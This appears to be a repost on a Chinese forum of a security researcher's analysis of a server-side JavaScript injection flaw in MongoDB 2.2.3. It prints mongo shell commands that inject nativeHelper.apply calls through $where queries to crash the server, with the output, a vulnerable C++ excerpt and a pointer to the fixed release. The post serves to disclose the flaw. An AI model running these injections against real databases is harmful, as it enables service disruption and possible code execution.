MongoDB服务器端的JavaScript注入
社区服务
火星文
银行
结婚
道具中心
勋章中心
管理操作原因
基本信息
管理团队
管理操作
在线会员
会员排行
版块排行
帖子排行
手机版
小说论坛
用户中心
搜索
银行
猴岛论坛
帖子
用户
版块
帖子
高级搜索
综合游戏交流
社区服务
签到统计
关闭
选中
1
篇
全选
猴岛论坛
电脑百科
MongoDB服务器端的JavaScript注入
发帖
回复
倒序阅读
最近浏览的帖子
最近浏览的版块
« 返回列表
新帖
悬赏
任务
交易贴
自动发卡
拍卖
红包
际遇红包
1
个回复
MongoDB服务器端的JavaScript注入
楼层直达
余生_tuzi27
ZxID:54314697
关注Ta
注册时间
2014-10-09
最后登录
2014-09-25
发帖
283
在线
0小时
精华
10
DB
3616
威望
220
保证金
0
桃子
0
鲜花
0
鸡蛋
0
访问TA的空间
加好友
用道具
发消息
加好友
他的帖子
对该用户使用道具
等级:
新兵
举报
只看楼主
使用道具
楼主
发表于: 2013-04-14
0
安全研究者agixid在MongoDB数据库2.2.3版本上发现一个安全漏洞,并且表示Metasploit利用payload正在开发当中。该漏洞主要是MongoDB不正确的使用SpiderMonkey Javascript的NativeHelper函数,导致可以注入代码或缓冲区溢出执行任意代码。
以下为研究者带来的一些分析。
首先在MongoDB中尝试一些服务器端的JavaScript注入,尝试运行一个shell。
> run("uname","-a")
Sun Mar 25 07:09:49 shell: started program
sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux
0
以下这个命令只能在mongo客户端才有效
> db.my_collection.find({$where:"run('ls')"})
error: {
"$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0",
"code" : 10071
}
研究者继续深入尝试
> run
function () {
return nativeHelper.apply(run_, arguments);
}
运行<run>函数,在服务端直接调用 nativeHelper.apply(run_,["uname","-a"]); ,返回信息提示nativeHelper.apply方法存在。
> db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'})
error: {
"$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0",
"code" : 10071
}
将一个关联数组用到服务器端
> db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})
Sun Mar 25 07:15:26 DBClientCursor::init call() failed
Sun Mar 25 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017
Error: error doing query: failed
Sun Mar 25 07:15:26 trying reconnect to 127.0.0.1:27017
Sun Mar 25 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017
结果显示:The server crashed \o/ ! (崩溃)
查看看一下其源代码
路径:./src/mongo/scripting/engine_spidermonkey.cpp
JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {
try {
Convertor c(cx);
NativeFunction func = reinterpret_cast(
static_cast( c.getNumber( obj , "x" ) ) );
void* data = reinterpret_cast<void*>(
static_cast( c.getNumber( obj , "y" ) ) );
verify( func );
BSONObj a;
if ( argc > 0 ) {
BSONObjBuilder args;
for ( uintN i = 0; i < argc; ++i ) {
c.append( args , args.numStr( i ) , argv
);
}
a = args.obj();
}
BSONObj out;
try {
out = func( a, data );
}
catch ( std::exception& e ) {
原函数的功能会从”x” : 135246144调用至JavaScript对象不带任何检查。
> db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})
Sun Mar 25 07:20:03 Invalid access at address: 0x31337 from thread: conn1
Sun Mar 25 07:20:03 Got signal: 11 (Segmentation fault).
MongoDB已发布最新版本2.4.1修复了该漏洞,
下载地址
http://www.mongodb.org/downloads
[ 此帖被在2014-10-11 17:56重新编辑 ]
本帖de评分:
共
0
条评分
隐藏
本帖de打赏:
共
条打赏
隐藏
打赏
收藏
新鲜事
相关主题
最详细的SQL注入相关的命令整理
最详细的SQL注入相关的命令整理
一个强制弹出窗口的JavaScript类:ForceWindow
菜鸟来求一个易语言的输入法注入源码
新Or 1=1的脚本注入技术详解
可以把黑马注入QQ的吗
回复
引用
鲜花[
0
]
鸡蛋[
0
]
« 返回列表
发帖
回复
关闭